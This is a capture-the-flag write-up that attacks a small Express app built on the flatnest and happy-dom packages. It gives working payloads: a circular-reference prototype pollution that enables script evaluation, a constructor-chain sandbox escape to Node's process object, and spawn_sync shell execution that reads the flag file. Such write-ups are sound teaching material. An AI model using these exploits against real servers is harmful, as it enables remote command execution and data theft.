This task wants us to read the flag saved under a random name by breaking and entering through a tiny express server:
import express from 'express';
import { Window } from 'happy-dom';
import { nest } from 'flatnest';
const app = express();
app.use(express.json({ limit: '1mb' }));
app.post('/config', (req, res) => {
const incoming = typeof req.body === 'object' && req.body ? req.body : {};
try {
nest(incoming);
} catch (error) {
return res.status(400).json({ error: 'invalid config', details: error.message });
}
return res.json({ message: 'configuration applied' });
});
app.post('/render', (req, res) => {
try{
const html = typeof req.body?.html === 'string' ? req.body.html : '';
const window = new Window({ console});
window.document.write(html);
const output = window.document.documentElement.outerHTML;
res.type('html').send(output);
}
catch(e){
console.log("Error ", e)
res.json({"Error": e})
}
});
app.listen(3000, '0.0.0.0', () => {
console.log('Happy DOM listening on http://localhost:3000');
});Creating a HappyDom window with untrusted html is already unsafe, but we'll need more than that, since it doesn't run JS by default. It needs a special setting passed to it. How do we pass it? With prototype pollution.
Flatnest is a lowly npm package sitting at about 20k weekly downloads that can nest and flatten your objects. And while it has been patched to not allow messing with __proto__ a few years ago:
It is still vulnerable to the very same exploit by passing an object with a circular reference:
{
"pp": "[Circular (__proto__)]",
"pp.settings.enableJavaScriptEvaluation": true
}Thus making all future HappyDom instances in the same process have JS enabled by nature of the relevant setting being present in the prototype chain. Now all the scripts we pass to /render will be run within the backend. Now all that's left is for us to escape this flimsy prison.
const p=this.constructor.constructor(\"return process\")()thisis the currentWindowobject;.constructoris thenew Window()constructor function;.constructoragain is a reference to the built-in Function object
Once we have our process, spawn a child process. At this point we can execute pretty much any command on the shell. Final exploit script:
const p = this.constructor.constructor("return process")();
const s = p.binding("spawn_sync");
const envPairs = [];
for (const k in p.env) envPairs.push(k + "=" + p.env[k]);
const o = {
file: "/bin/sh",
args: [
"/bin/sh",
"-c",
`ls -1 / | grep "^flag_"`
],
envPairs,
stdio: [
{ type: "pipe", readable: true, writable: false },
{ type: "pipe", readable: false, writable: true },
{ type: "pipe", readable: false, writable: true },
],
};
const r = s.spawn(o);
const out = r.output && r.output[1] ? r.output[1].toString() : "";
document.getElementById("flag").textContent = out;Once we have the filename, change the grep command to cat. Pack it into valid HTML, then into valid JSON. Get your flag.
{"html":"<!doctype html><html><body><pre id=flag>...</pre><script>const p = this.constructor.constructor('return process')();const s = p.binding('spawn_sync');const envPairs = [];for (const k in p.env) envPairs.push(k + '=' + p.env[k]);const o = {file: '/bin/sh',args: ['/bin/sh','-c',`cat /flag_e5d26e5d0a0f6bbf.txt`,],envPairs,stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true },],};const r = s.spawn(o);const out = r.output && r.output[1] ? r.output[1].toString() : '';document.getElementById('flag').textContent = out;</script></body></html>"}